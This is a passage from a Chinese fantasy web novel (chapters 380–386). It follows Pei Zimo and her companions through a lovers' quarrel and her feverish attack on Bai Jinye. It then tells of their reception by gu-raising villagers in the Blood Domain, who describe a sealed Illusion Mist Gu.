若是说裴子墨在王府上最信任的人,那左辞肯定能排上第一个。 只不过片刻之后,他就见裴子墨朝鬼卿看去,顿时心里又不舒服了,难道这件事,裴子墨还要跟鬼卿商量么? 他这个想法刚冒出来,便听裴子墨道,“以往在圣殿,只有我和鬼卿、阿鸢三个人,都已经把彼此当成了亲人,阿鸢的事情,理应跟鬼卿说一声,他要是也没意见,回头从血域出去了,就看看阿鸢和左辞两个人的意思,把这件事定下来。” 白锦夜的脸色当时就难看了起来,“冷鸢不是你的婢女?她婚配的事,你还要问过鬼卿?” 裴子墨轻轻皱了一下眉头,转头看过去,“我不是已经说了,这么多年都是我们三个相依为命,阿鸢在鬼卿的心里,跟他姐姐没什么区别,难道他不能发表些意见么?” “呵。”白锦夜嗤笑一声,“在圣殿只有你们三个人,一个在他心里是姐姐,一个在他心里是妹妹,真是……相亲相爱。” 裴子墨这一下眉头蹙得更紧,“白锦夜,你阴阳怪气什么呢?自己心里不开心,不要牵扯到别人身上。” 白锦夜抬手拉住裴子墨的手腕,停下了脚步,转身看着她,“鬼卿在你心里就那么重要?” “我们不是在说阿鸢的事么?”裴子墨看着白锦夜有些莫名其妙。 白锦夜轻轻抿了下唇,“你这个眼神看着我,是因为觉得我在无理取闹?” “你没有无理取闹么?走路走得好好的在这装病,鬼卿招你惹你了,你又说这些奇奇怪怪的话?”裴子墨转头看了一眼还在往前走的几个人,声音又压低了些,“你到底想怎么样?” “我想怎么样你不知道么?”白锦夜抓着她的手腕不由握紧,一字一顿的把刚才的话又重复了一遍,“裴子墨,我想怎么样,你真的不知道么?” 裴子墨吸了一口气,半响才道,“第一次到复州的时候,你多少还讲些道理。我跟你说过,我断七情六欲,鬼卿和阿鸢对我来说是特殊的存在,你当时还说什么你不会奢望在我心里你比他们更重要,那时候你能说出这话,我以为你早就想明白了,人都是越来越贪心的是么?” “是,我贪心,我也不过就是想要跟你在一起,想要你能多看我一眼,我满心满眼都是你,我也没有希望你对我也能如此,我也知道将来只要到了合适的时候……”白锦夜说着转头往鬼卿的方向看了一眼,才继续道,“只要到了合适的时候,那个人回到你身边,你就彻底的、永远都不会再见我。” “可起码现在不管是出于保护他或者是什么其他的目的都好,他还没有完全的回来,是么?那么在这段时间里,你能不能……” 说到这,白锦夜又停了下来,他轻笑了一声,他能让裴子墨做什么呢?无论什么话说出口,也不过都是奢求,他放开手,往后退了一步,“算了。” “你想怎么样就怎么样吧,你修习术法,也许可以延缓衰老,可终究会老,我是冥尸,不老不死,我总有一天,得学会适应没有你的生活。”他转头往山上看了一眼,“像是凌珞,总要一个人过那么久的那么漫长的日子。” 白锦夜说完,便垂眼看着地面,没再说话。 裴子墨拧眉看着他,一时不知道该说什么。 “圣女,怎么了?有什么事么?”冷鸢他们走出去一段,见裴子墨和白锦夜还站在原地,便出声询问。 “没事,走吧。”裴子墨回了一句,又看向白锦夜,“走吧。” 白锦夜点了点头,转身往前走。 裴子墨看着他,轻轻叹了一口气,脑海里却蓦地闪过一副画面,画面里,她提着七杀斩远远地站着,白锦夜抱着另外一个受伤的女子,满脸担忧,看向她的时候,眼底又全是恨意。 伴随着这画面,她脑海深处也传来一抹刺痛。 她抬手按了按眉心,整个人都有点恍惚,眼前的景象也开始模糊。 白锦夜走了几步,也没听见裴子墨的脚步声,一转头便见她捂着额头倒了下去,他赶紧上前抱住她,“子墨,子墨!” 裴子墨躺在他怀里,对他的呼喊上一点反应都没有,随即便闭上眼睛晕了过去。 第381章 放开手,我要杀了他 “怎么回事?”冷鸢等人见状也赶紧跑过来,“圣女怎么突然晕倒了?”她拧眉看着白锦夜质问,但随即又想到了什么,转头看向楚星玄,“是不是你解蛊的时候出了什么纰漏?你确定,圣女身上的血线蛊解掉了?还是你那什么碧血虫出了问题?” 楚星玄无语地摊了摊手,“你们圣女晕倒了,你质问完白锦夜质问我,我们大老远的跑来帮忙是欠你们的么?术法不高脾气不小,也就是你从小生活在圣殿,你们家圣女护着你,在外面不知道被打死多少回了。” 鬼卿冷眼朝楚星玄看过来,手都已经微微握紧,眼见着他再多说一句就要直接动手了。 “最好是跟蛊虫没关系。”冷鸢说着拉了鬼卿一把,“你快看看圣女怎么回事。” 鬼卿这才把目光从楚星玄的身上收回来,蹲下身,仔细地检查了一下裴子墨的情况,随即摇了摇头,“看不出来是什么情况。” 冷鸢又转头看向楚星玄。 “别看我。”楚星玄皱起眉头,“是不是蛊虫我不用走那么近去看,跟蛊虫没关系。” “她就突然晕倒了?”冷鸢重新看向白锦夜,“刚刚你们走在后面在干什么?圣女怎么会突然无缘无故晕倒?” 白锦夜沉默了会才道,“我先喂养一下血莲试试,从凌珞出事开始,她一直都比较虚弱,这段时间这样折腾,难保受不住。” 冷鸢也没再说话,这一路上的事,她都是看在眼里的,自然知道裴子墨先是受伤,又是中蛊,刚才在山上留下的阵法估计也极耗费精力。 之前解蛊之后,白锦夜刚喂养完血莲,所以这一次血莲根本没有吸多少血就停了下来,而且裴子墨也丝毫没有醒过来的迹象。 白锦夜只好把裴子墨抱到马车上。 依旧是楚星玄赶着马车,他转头看了眼脸色难看的白锦夜,吊儿郎当地道,“吵架了吧?” 白锦夜看了他一眼没说话。 楚星玄也不需要他确认,“都写在脸上了,哎,把圣女气晕,你也是独一份了。” 白锦夜垂下眼,看着依旧紧紧闭着眼睛的裴子墨,轻轻叹了口气,他明知道她最近身体不太好,还偏偏在这个时候跟她吵架,确实是他的问题。 沉默了会,他抬手放下马车的帘子,隔绝了楚星玄的目光。 楚星玄轻笑一声,“问世间情为何物呦。” 白锦夜轻轻抿着唇,抬手握住裴子墨的手。 本以为裴子墨的身上没什么异样,应该很快就会醒过来,可是她不仅没醒,到了夜里还发起烧了。 白锦夜只能拿了血莲晶露,想要再给她喝一点,可是刚倒进裴子墨的嘴里,她又咳嗽着都吐了出来。 冷鸢洗了布巾铺在裴子墨的额头上,只是布巾很快就被她额头的温度烫热。 “不要……不要……” “为什么杀我?” “我没错,我没错。” 裴子墨也开始低声说起胡话,手跟着死死地攥成拳头。 冷鸢掰住她的手,“圣女,圣女?你这样会伤到自己的,没有人要伤害你。” 只是无论她怎么安抚,任何话仿佛都听不进裴子墨的耳朵,她的手也越攥越紧,冷鸢已经看到有血丝从她的指缝里流出来,显然是她的指甲已经陷进了掌心。 “怎么办?”冷鸢转头看向鬼卿,“她现在好像很难受,怎么办?” “为什么要这么对我?” “是你……是你通知了遁世岛……” 裴子墨继续喃喃自语。 冷鸢皱起眉头,“遁世岛是什么?” “我看看。”鬼卿让冷鸢让开身,蹲下来抓住裴子墨的手腕,想要迫使她放开手。 提到遁世岛,白锦夜和鬼卿自然也都知道裴子墨现在是陷入了哪一段的记忆,她身体紧绷,脸色痛苦,显然是曾经那些让她不愿想起事情。 白锦夜本来是握了裴子墨的手,所以她的这一只手没有攥成拳头,可是却死死的捏着他的手,力道像是要捏碎她的骨头,“别掰了。”他抬眼看向鬼卿,“得想办法让她醒过来,不然就算把骨头掰断,也不见得能掰开。” 鬼卿拧着眉,想了半响,从旁边捡起七杀斩,割破了自己的手指,在裴子墨的额上写了一道符咒。 最后一笔写完,裴子墨终于安静下来,脸色也平静了一些。 见她的手微微放开了些,冷鸢赶紧上前想要包扎,可是她的手还没伸过去,裴子墨的手却突然动了。 七杀斩也像是听到了召唤,瞬间从鬼卿的手里转到了裴子墨的手里。 鬼卿微怔了一下,迅速的抬手拉开冷鸢,把她扯到自己的身后,但他自己也还是被七杀斩划伤,好在退开的及时,只是被划伤了手臂。 白锦夜抱着裴子墨,手被她握着,甚至都没有反应过来躲避,就见七杀斩到了眼前,他的身体本能地往后仰了下,七杀斩的剑尖从他的喉前划过,他算是险险躲过,但随即就被裴子墨起身按在了地上,七杀斩也再次朝着他的喉咙落下来。 “圣女!”冷鸢急急地喊了一声,虽然她不待见白锦夜,但是若是在裴子墨神志不清的时候把白锦夜给杀了,那裴子墨自己恐怕也要后悔。 裴子墨已经睁开了眼睛,她转头看向冷鸢,眼里带着一些陌生,目光又扫过其他几个人,除了在鬼卿的脸上停顿了片刻之后,像是没有认出任何人,就收回目光重新看向白锦夜,七杀斩又要重新落下。 白锦夜有那么一瞬间甚至不想反抗,若是就这样死在七杀斩下,死在裴子墨的手里,对他来说,可能是最好的结局,说不定她以后还能记得他。 只是七杀斩终究还是没有落下来,鬼卿上前抓住了裴子墨的手腕,“裴子墨,醒醒!” 裴子墨眯眼看向鬼卿,片刻后又看向白锦夜,“放开手,我要杀了他。” “你知道他是谁么?”鬼卿拧着眉,“你知道我们都是谁么?” “他……”裴子墨说着顿了顿,像是蓦地想起了什么,松开手,七杀斩掉在了地上,她站起身,往后退了几步。 “圣女。”冷鸢见她像是恢复了清醒就要上前查看。 “别过来。”裴子墨抬手制止,又往后退了几步,自己转身走到不远处的树下才停了下来,随即靠着树干,慢慢地蹲下去。 第382章 我求你 寒羽简直是被眼前的一幕吓到了,他看看这个,看看那个,最后缩在火堆旁,觉得人类太可怕了。 裴子墨一个人在那边背对着他们跪坐在地上,半响都没有动。 几人站了一会,最后还是白锦夜站起身走了过去。 他走到裴子墨的旁边,蹲下来,看着她低声问,“子墨,你没事吧?” 裴子墨低着头,摇了摇头,没有说话。 隔了半响,她也没有抬头,只是问,“我伤到你了?” “没有。”白锦夜说着顿了顿,“但是划伤了鬼卿,不过只是划伤了胳膊,伤的不重。”沉默了会,他又道,“回去吧,他们也担心你。”说完便要伸手去扶裴子墨。 裴子墨却迅速的躲开,甚至因为躲他撞到了旁边的树干,疼得她低呼了一声,又抬头看向他,“白锦夜,等出了血域,你就别再跟着我了。”说完也不等他说话就补充,“算我求你了,行么?” 白锦夜盯着裴子墨,她在他面前,从来没有说过任何的软话,可她现在说求他。 他一瞬间想到刚才,裴子墨意识不清的时候,看着其他人都像是看陌生人,可看向他的时候,眼底是带着恨的。 她也没有想要伤害其他人,却想杀了他。 如果没有鬼卿的阻止,她应该是会杀了他的。 似乎之前发生的事情,她昏迷,她说那些话,她发烧,都是因为他。 他想跟她在一起,可他也不想看到她难过。 过了好半天,白锦夜才抬手抓住裴子墨的肩膀,虽然能感觉到她的抗拒,但他还是微微用力,把她按到了自己的怀里,他抱了她许久,最后低头轻轻吻了吻她的发丝,低声道,“好,等出了血域,我就走。” 裴子墨一直紧绷的身体,在听到这句话之后,总算是放松下来。 她醒了过来以后,烧也退下了,至于到底是怎么回事,她不提,也没人会不识相的问起。 之后的几天,白锦夜便也开始主动跟她保持距离,她有时坐着马车,有时会下马车走一段,她走路的时候,白锦夜基本都会放慢脚步,走在最后一个。 如果停下来休息,白锦夜也会坐在离她最远的地方。 虽然她偶尔看过去,也会见到白锦夜在看着她,但只要目光刚刚交汇,他就会立刻转头看向别处。 这情况其他人自然也看得出来,只不过到底是裴子墨和白锦夜两个人的事,其他人也不会多嘴。 之前从村子往山这边走,一是坐在马车上,速度快一些,另外直奔着山走路途也比较简单。但是这一次去找那个村子,大家基本都是走路,速度慢下来不说,路也需要辨别,下了山走了十天,才找到了那个村子。 站在村外,鬼卿看了会才道,“应该是这里。” 冷鸢也点头确认了他的说法。 重新回到村子中间的广场上,裴子墨蹲下看了看广场上的印迹,也看到了马车轮子的痕迹,她站起身拍了拍手,看了看前面的药铺,上次便是寒羽留在马车上,他们进了药铺出现的幻觉,后来被寒羽喊醒,于是她转头看向寒羽,“寒羽,这一次,你还是呆在马车上,我们只是过去拿药材,应该很快就出来,如果隔了一会还没出来的话,你记得喊我们。” 寒羽点了点头。 裴子墨沉默了下,才看向白锦夜,“你也跟寒羽一起留下吧。” “好。”白锦夜甚至连反驳都没有就直接应了下来。 裴子墨也没再说话,和剩下的人往药铺走。 进了药铺,鬼卿便带着楚星玄去看那叫“明珠”的药材。 有过之前的经验,这会谁也不敢乱碰这里的东西,冷鸢站在裴子墨旁边,不经意地看向旁边的桌子,见到她之前放在那里的银票还在那。 她起初只是扫了一眼没在意,但很快就发现了异常,她走过去,从桌子上拿起银票,拧着眉看了会,才转头看向裴子墨,“圣女,你看这银票有点奇怪。” “怎么了?”裴子墨也走过去。 冷鸢拿出自己的荷包,又拿出一张银票,“之前你说拿了东西给留下些银票,咱们走的匆忙,我就留下了一张。但是我的银票都放在荷包里,叠的整整齐齐的,你看我放下的这张,被人揉搓过。” 裴子墨微微眯起眼,拿过那张被揉搓的银票,仔细看了会,在一个褶皱处看到了很浅的一丝血迹,她快速的把银票放下,转头看向鬼卿和楚星玄,“拿好东西就赶紧走吧,这里来过别人。” 楚星玄已经装好了明珠,但是他之前看那本《蛊御万疆》,里面还有很多药材是外面没有的,尤其是用人蛊养出来的药材,本想着既然都来了,能拿上的就都拿上,以后总能用得着,听到裴子墨这么说,便也不能多留了。 这里来过别人,除了他们以外,只能是血域的人来过。 他虽然没有跟血域的人打过交道,但是也听说过关于这里的人的事情,反正不是什么善类,能不碰见最好还是不碰见。 他们这边刚要离开,外面就传来寒羽的声音,“干什么?你们这些人要干什么?” 裴子墨抬起手,拦住了要出门的楚星玄,自己也停下了脚步,挪到了门边,微微侧头朝外面看去。 外面不知道什么时候来了一群人,已经把马车围住了。 她仔细地感受了下,却感受不到那些人的气息,她转头看向鬼卿,只见鬼卿也是轻轻摇了摇头。 “这些就是血域的人。”楚星玄压低了声音道,“他们以人血为祭,不知道用什么样的秘法可以完全隐匿自己身上的气息,这样其实是为了不被蛊虫发现,以便抓蛊养蛊。” 片刻后,那群人里走出来一个看起来像是领头的,他往药铺这边走了几步,高声道,“药铺里面的几个人,也出来吧。” 裴子墨的目光落在楚星玄的身上,这里面确实只有楚星玄最了解蛊虫的事,况且他们暗城跟血域有些来往,他也更了解这些人。 楚星玄轻咳了一声,最先走了出去。 随着几人走近,对方的目光先是打量着他们,但很快却落在楚星玄的腰间,看着他腰上别的那支笛子,神情激动,举起手,仰着头对着天空说了一串他们完全听不懂的话,随即一群人跪在地上,朝着那笛子的方向朝拜。 第383章 幻雾蛊 楚星玄先是瞪了瞪眼睛,随后转头看向裴子墨,眼神里带着几丝得意,还好是他有先见之明,猜到那人跟血域一定有什么关系,带出了这笛子,不然真要是跟血域的人动起手来,他解蛊的速度自然没有这些人下蛊的速度快。 半响后,这些人才站起身,激动地管楚星玄叫着师祖。 裴子墨大概也猜到了,那些人只认识这笛子,以笛子为信物,并没有见过他们传说中的师祖,所以见到楚星玄带着笛子,自然就把他当成了师祖。 一群人围着楚星玄,裴子墨也就和其他人回到了马车边。 反正楚星玄在暗城,从小就是众星拱月,应付这种场面对他来说当然是不在话下。 因为有楚星玄在,裴子墨等人立刻被血域的人奉为上宾,这些人把他们带到了他们现在居住的地方。 在村子后面有一个像是地窖的入口,从入口的台阶下去,下面已经被改造成了民居,见到有生人来,很多人都跑到门口或是趴在窗边好奇地看着他们。 借着火把和油灯的光亮,裴子墨看到这些人的皮肤格外的白皙,大概是常年在地下不见阳光的缘故。 一直往前走,到了一个像是神殿的地方。 大殿的两侧有很多石柱,石柱上都雕刻着各种虫子。大殿的最里面,是一个男子的雕像,那男子的腰间便是别着一个玉笛。 裴子墨猜测这人应该就是老和尚的那个师弟,只不过这雕刻技术差了十万八千里,现在只能看出来是个男人。 楚星玄自然是被让到了主位。 领头人自称叫百龄,算是如今这个小村落的村长,他看着楚星玄激动得快要哭出来了,一直说师祖终于回来救他们了。 楚星玄不知道事情的始末,思索了会,便直接说他们认为的那位师祖暂时是回不来了,不过他是那位的传人,那位让他来这里看看,但也没说让他来办什么事,所以让百龄把知道的事都跟他说一遍。 听到楚星玄并不是他们的师祖,百龄脸色一下子就变了,看着楚星玄的眼神都不太对了。 楚星玄脸色却没什么异常,抬手随意地摸着腰间的玉笛。 他这个动作让百龄又瞬间清醒过来,在血域的传说里,便是那位师祖吹着这笛子御百蛊,如今笛子传到了楚星玄的身上,那本事自然也是传了下来的。 百龄轻轻叹了口气,对旁边的人使了个眼色,无关的人便退出了神殿,他又看向裴子墨等人,显然关于血域的事情,他也不太想让外人知道。 “无妨。”楚星玄摆了摆手,“这些人都是我的朋友。” 百龄有些疑惑地看了看他们,不太相信地问道,“他们真的是你的朋友?那他们身上的蛊虫,你为什么没有帮他们解除掉?” 楚星玄轻咳了一声,随即脸不红心不跳的撒谎,“不瞒你说,在血域之外,这世上的蛊虫少之又少。”他说着又把怀里的书拿出来,随意地翻了翻,故意让百龄看到了一点点内容,又把书放了回去,“我师父他虽然给我讲了不少,还把这书给我看,可我终究是没亲眼见过,师父让我这次来血域,也是为了历练。” 百龄恍然大悟,“怪不得。” “那便麻烦你先把他们身上的血线虫解掉吧。”楚星玄厚着脸皮要求道。 百龄也不疑有他,从怀里拿出一个瓷瓶,倒了三粒药出来,分别交到寒羽、鬼卿和冷鸢的手上。 冷鸢正要吃,却被鬼卿按住手腕,随即自己先吃了下去。 寒羽倒是没管那么多,见鬼卿吃了,就迅速的把药扔进了嘴里。 没一会,寒羽就捂着肚子,在原地转圈,“哪里有茅厕?茅厕?” 百龄赶紧叫了人,“无妨,这是要腹泻,泻出去就好了。” 寒羽一手捂着肚子,一手捂着屁股就往外跑。 鬼卿的脸色也不太对,看了裴子墨一眼,示意她小心就也赶紧出门了。 见也没什么太大的问题,冷鸢便也吃了药,趁药效还没发作,便先出去了。 这一下圣殿里就剩下百龄、楚星玄、裴子墨以及白锦夜四个人了。 百龄打量着裴子墨,犹豫了半响才道,“这姑娘身上,也有蛊吧?” 楚星玄倒是没想到,他的碧血虫和一般的蛊是不一样的,那上面基本上就是他的气息,没有什么蛊虫的气息,而且如今极其虚弱的在沉睡,竟然也被百龄发现了。 “不过这蛊,有点奇怪。”百龄疑惑着像是想不明白。 “这是我养来玩的一只蛊。”楚星玄打了个哈哈,转移话题,“这血域到底出了什么事?你为什么说师祖回来救你们了?”他说着顿了下,“我记得我师父跟我说,以前血域也很繁华的。” 百龄听了楚星玄的话,从裴子墨的身上收回目光,他点了点头,叹了一口气,“哎,这事要从很久很久以前说起了,那时的血域确实一片繁盛,大家各有其业,就像其他地方的人修习术法一样,血域的人都是养蛊。” “每个血域的人,从小时就开始跟各种蛊虫打交道,那时师祖就在血域,教会了大家很多养蛊的方法。” “但是这世上,有好人就有恶人,有人痴迷养蛊,是为了救人治病,但也有人养蛊,是为了害人。” “听说那时有个人,养了一只极其厉害的蛊。”百龄说着顿了顿,“你们应该已经见过了,我们管它叫幻雾蛊,这蛊每次出现的时候,都是带着大雾,人一旦在雾气之中,就会出现幻觉,而且在雾气里,还会伴生着其他蛊虫,比如你这几个朋友身上,就中了血线虫的蛊。” “不过这幻雾蛊只会在晴朗的白天里出现,像是今天这样的阴雨天气,是绝对不会出现的,所以我们也只敢在这样的天气才出去囤积些食物。幻雾蛊以吸食人的精气精血为生,每次出现,差不多就会吞噬一个村庄。” “当年师祖费了极大的力气,封印了这幻雾蛊,可却没办法消灭,他说他需要去找他的一个师兄借一样东西才能消灭幻雾蛊,可他这一走,就再也没有回来。” 百龄轻轻地叹了口气,“那幻雾蛊一直被封印,倒也不影响什么,可是在千余年前,不知道为什么,封印出现了裂缝,幻雾蛊便重现人间了。” 第384章 这分明就是犯人的待遇 说到这,百龄大概因为想起这段痛苦的历史,沉默了半响后,才继续道,“一开始幻雾蛊出现的时候,只是很小一片,也会避开人类,都是在树林里出现,目标也都是动物,那时偶尔有人遇到幻雾蛊,可说出来也没人相信,直到那幻雾蛊靠着动物的精血恢复了元气,终于开始对血域的人下手了。” “不少村庄都遭遇了幻雾蛊的袭击,被幻雾蛊袭击的人,如果不能及时脱离幻境,就会一直陷在幻境之中,直至死去。每次幻雾蛊撤离的时候,留下的都是一具具气血全无的干尸。” 裴子墨皱了下眉头,开口问道,“我们进了血域之后,就见到很多植物上面都有红色的纹路,那些都是血线蛊么?” 百龄点点头,“幻雾蛊里伴生各种蛊虫,血线虫便是其中一种。其他的蛊虫,在幻雾蛊退去之后,若是没有宿主,便会逐渐死亡,但是血线虫不一样,它可以以任何东西为宿主,花草树木,河水土地。所以被幻雾蛊袭击过的地区,基本上也就只有血线虫存活下来,上千年过去,整个血域,可能早已经没有幻雾蛊没有到过的地方了。” “但是很奇怪。”裴子墨又道,“我们到了血域,其实已经很长时间了,一开始的时候,哪怕是晴天,也没有遇到幻雾蛊,只是在进了那个村子之后,才第一次遇到幻雾蛊。” 百龄想了一会才道,“你们白日里可曾停留过?” 裴子墨摇了摇头,“我们因为有事要办,白天都在赶路。” “那就是了。”百龄点点头,“这幻雾蛊还有一个特点,就是不会攻击一直在移动的人。” “这还真是奇怪。”裴子墨说完也没再说话。 百龄便看向楚星玄,“所以师祖他老人家有没有跟你说过关于这幻雾蛊的事?” 当然是没说过,不过楚星玄脸色也没什么变化,只是道,“我们是从北边过来的,那北边有座山,我见那山上草木都很正常,完全没有血线蛊,幻雾蛊应该是没有去过那山吧?” “那是圣山!”百龄瞪着眼睛看着楚星玄,“血域之人是禁止去圣山的!” “都到了要命的时候,还管什么圣山不圣山?迂腐。”楚星玄无语地摇了摇头。 “可上了圣山,也一样要命啊。”百龄苦笑了一声,“有人遵从这规矩,当然肯定也有人为了活命是不遵从的,可是那些上了圣山的人,死得更快啊。” 他说着摇了摇头,“圣山往外,是血域与外界最方便的路线,血域里只有很少的人有资格从圣山出去,跟外界沟通,剩下的人,只要到了圣山的地界或者是离开血域,就会死掉,而且死状更惨。血域的人,都像是受了什么诅咒,没有人能离开这里。那些即便是有资格短暂离开的人,也不能离开血域太久。” “我觉得可能跟诅咒没什么关系。”楚星玄摇了摇头,“大概率是你们从小养蛊,或者说是有一种蛊虫在你们一出生就寄生在你们身上,只是你们不知道。而这蛊虫是以血域某一样东西为生,平时你们也感受不到,可是一旦离开血域,这种蛊虫就会发作。” “那也不是不可能。”百龄叹了口气,“但我们从小生活在血域,也从来没想过要离开这里,只要没有幻雾蛊,我们在这里的生活也没有任何问题,所以……”他说着期盼地看向楚星玄,只希望他能给他们带来什么好消息。 楚星玄摸了摸下巴,转头看了裴子墨一眼,想了会才道,“我师父跟我说过太多的事情,我这一时半会也想不起来,不过偶既然是蛊,就总有办法解决,而且他给我的书我还没有看完,说不定这书里也有关于幻雾蛊的记载,这样,你先帮我们找个地方安顿下来,我好好回忆一下我师父的话。” 百龄沉默了片刻,答应了下来。 他站起身,把他们带到一处房间,这房间对着有两铺木板床,每处木板床能睡两三个人的样子,床上也只是有些简单的床品,“我们这里都是一切从简,每家每户的房间都不大,更没有多余的房间,几位就只能暂时委屈在这里了。” 楚星玄虽然不满意,但也只能点点头,“不过,你之前不是说,那幻雾蛊只有晴朗的白天才会出现么?晚上你们为什么不回家去睡觉呢?” “一开始我们还来回折腾,不过这么多年,已经习惯在地下躲避了,就算是回了地面也睡不安稳,随时都要准备搬下来,万一出现什么突发状况,来不及下来就麻烦了。”百龄说完嘱咐几人好好休息,便先退出了房间。 走了一段,遇到几个翘首以盼的族人,“村长,这真的是咱们师祖么?” 百龄微微眯了眯眼,“这几个人有蹊跷,叫几个人在门口守着,不要让他们乱走,你赶快去通知族长,让他带着几位长老过来。” * 百龄离开之后,楚星玄趴在门上听了一会,才道,“这百龄的话不尽不实,上面药铺里那么干净,肯定是有人时常打扫,显然他们不可能一直生活在这里。” 裴子墨点点头,表示赞同,“那天我们几个进了药铺,被幻雾蛊攻击,可寒羽一个人在车上,也没有走动,幻雾蛊怎么没有攻击他?而且寒羽到了药铺门前,幻雾蛊就退去了,要么寒羽身上有什么让幻雾蛊避讳的东西,要么……这里面还有其他的隐情。” 楚星玄转身坐在床铺上,“这哪是安顿我们住下来,分明就是把我们囚禁在这里了。可是我们想要逃出去也不容易,他们人人都会用蛊,咱们直接来硬的,太危险了。除非……”他把腰间的笛子拿下来,“我也能用这笛子御万蛊,那就什么都不怕了。” 没多久,鬼卿等人陆续回来,这房间不算宽敞,人多了就有点拥挤,楚星玄受不了,出去找人理论了半天,哪怕他搬出师祖传人,对方也丝毫不买账,就说只有这一间空房。 而百龄也不知道去忙什么了。 楚星玄叹了口气,目光在门口转了一圈,看了看那几个假装忙着自己的事,实际上是在看守他们的人,关上了门,“这哪是师祖传人的待遇?这分明就是犯人的待遇。” 第385章 想要离开,就要先消灭幻雾蛊 晚上有人送来了晚饭,楚星玄检查了一下,确实没有什么问题。 本来想着就算白锦夜和鬼卿可以不吃,但是也要多少吃些,免得被人发现异常,不过很快他们发现也不用担心什么,因为所有的东西寒羽都可以吃光。 睡觉的时候,鬼卿搬了把椅子放在门口,说自己守夜。 寒羽和楚星玄自顾自地睡下,尤其是寒羽,大喇喇地躺在床上,丝毫不在意自己已经占了过多的位置。 楚星玄拉过被子,抬头看了一眼站在旁边盯着他看的白锦夜,皱了下眉头道,“这里没你的地方了,你和裴子墨又不是没一起睡过,这个时候没必要假装害羞吧?” 白锦夜转头看向另外一张床,裴子墨和冷鸢靠着睡下,确实是给他留了半个床的位置,只是他沉默了一下,抬眼看向鬼卿。 鬼卿自然看得出来,这几天白锦夜和裴子墨两个人,肯定是吵架了,他勾唇笑了笑,“守夜没必要两个人,你要是不想睡,那你来守夜,我去睡。” 白锦夜沉默了会道,“好,你去睡,我来守夜。” 鬼卿确实没想到白锦夜会这么说,有些诧异地看了他一眼,心里也明白这一次两个人应该是吵得挺厉害的,他看了一眼已经躺下来完全没什么反应的裴子墨,才向后靠在椅背上,闭上了眼睛,“那你守后半夜。” 白锦夜拧了拧眉,只得先上了床,他靠着旁边的墙,跟裴子墨之间还是留下了些许的缝隙,也完全没有睡意,睁着眼睛就发呆,闭上眼睛就胡思乱想。 一直到午夜的时候,他实在是躺不住了,正要跟鬼卿换一换的时候,突然听到了外面有脚步声。 显然鬼卿也听到了声音,他睁开眼坐直身体,转头看向门的方向。 寒羽睡得沉,虽然没有喝酒呼噜声没有震天响,但是他的呼噜声也几乎可以掩盖房间里其他所有的声音。 在外面的人看来,这房间里的人大概都是熟睡。 而事实上,此时还在睡的,也就只剩下寒羽一个人了。 裴子墨坐起身,也摸过了七杀斩。 脚步声停在门外,几个人小声说了几句话,大概就是这房间里的人都没有乱走,都在睡着一类的,一个陌生的声音交代他们好好守着,明日再说一类的话,随即脚步声就远去了。 听着交谈的内容,今晚是不会找他们的麻烦了。 “睡吧。”裴子墨压低声音对冷鸢说了句,又重新躺了下来。 白锦夜便要跟鬼卿换着守夜,只是鬼卿还没说话,裴子墨就先开了口,“让鬼卿守着吧,你不会术法,在这种地方,警惕性没有鬼卿高。” 裴子墨都这么说了,鬼卿自然不会换了,白锦夜也只能重新躺下。 只是他依旧睡不着。 大概是感受到他一直翻来覆去,裴子墨伸过手,在白锦夜的额上摸了一下,他瞬间就没了意识,等醒来,其他人早都已经起床了。 吃过早饭,百龄便兴致冲冲的来找楚星玄,说是族长听说了师祖的传人来了,一定要见见楚星玄。 而且言下之意,就是只带着楚星玄一个人去见族长。 裴子墨对着楚星玄微微点点头,也示意他打探一下昨天他们觉得异常的事情。 楚星玄走了几步,又想起什么,转身把怀里的书拿出来,交给裴子墨,自己身上只留了那个玉笛。 看着他的动作,百龄轻轻皱了下眉头,又仔细地看了一眼裴子墨,才带着楚星玄出去了。 “看样子,昨晚的脚步声,应该就是那个族长来了。”鬼卿开口道。 “想要糊弄那族长,恐怕就没那么容易了。”裴子墨轻轻眯了下眼,“这地方也不宜久留,等楚星玄回来,咱们就想办法早点离开。”她说着沉默了下,转头看了眼白锦夜,如今想要从这里离开,恐怕最好的办法,就是白锦夜引出黄泉路,那些血域的人不敢靠近,蛊虫在黄泉路上也活不了。 只是他们这里的人,除了白锦夜,也就只有寒羽能走在黄泉路上,其他人要怎么一起离开,也有些麻烦。 楚星玄去了一大天,晚上才回来,身上还带着一些酒气,显然他把那族长忽悠的还算可以,而且也是收获颇丰,“今天外面是个阴雨天,我就让他们带我去看了我那位师父封印幻雾蛊的地方,那里的法阵还在,只是法阵上裂了条缝隙。” 他说着用手沾了水,在桌子上把那法阵的模样画了出来,“大概就是这样的法阵。” 看着这法阵,裴子墨微微眯起眼,“你确定?” “确定。”楚星玄点点头,“那处镇压的地方,也在一个神殿之中,没有风吹日晒,法阵保存的还不错。” 裴子墨垂下眼,这法阵,跟当年遁世岛的人把她封印在琼华山的法阵大部分是相似的,那老和尚的师弟为什么会这样的阵法?“他们有没有说,这法阵是那位师祖一个人完成的,还是有其他人的人帮忙?” “是他一个人完成的。”楚星玄喝了一口水,“现在那法阵下面都已经空了,幻雾蛊不知道躲在哪,你见过这法阵么?能修补么?” 裴子墨沉默了会,才道,“就算能修补这法阵,要怎么把幻雾蛊引到这法阵之下呢?它在这里被封印了那么多年,肯定不会再来这个地方。”她说着摇了摇头,“而且这个法阵也没办法修补了。” “我们也没有消灭幻雾蛊的方法,最好的方法也就是先封印起来。”楚星玄说着脸色有点为难,“我看他们的意思,如果我们不能消灭幻雾蛊,那恐怕也不会让我们离开这了。” 裴子墨抬起手,指尖轻轻地敲着桌子,目光落在寒羽的身上,“我倒是有办法离开这里,只不过恐怕要赌一赌了。”她重新看向楚星玄,“这两天你找个机会,跟他们说我们可以修复法阵,或者什么其他的借口,让我带着寒羽出去一趟,我想看看,上一次寒羽惊退了幻雾蛊,是偶然还是必然。” “不行。” “不行。” 白锦夜和鬼卿闻言异口同声的否决裴子墨的提议。 第386章 遁世岛的人来了 两个人话落,又互相对视了一眼。 半响后,鬼卿先开了口,“让我去试,如果幻雾蛊缠住一个人,吸食精血精气,起码冥尸坚持的时间能长一些。” 他说完这话,又轮到冷鸢否决,“也不行,太危险了。”说完便看向裴子墨,“圣女,我们根本不知道上一次幻雾蛊为什么退去,这样冒然尝试,太危险了。” “我倒是觉得,问题应该不大。”楚星玄摸着下巴开口道。 “你觉得问题不大你自己去试。”冷鸢皱起眉头。 楚星玄摇了摇头,看向寒羽,“寒羽,你再好好想想,在地府里,血线虫到底是怎么回事。” 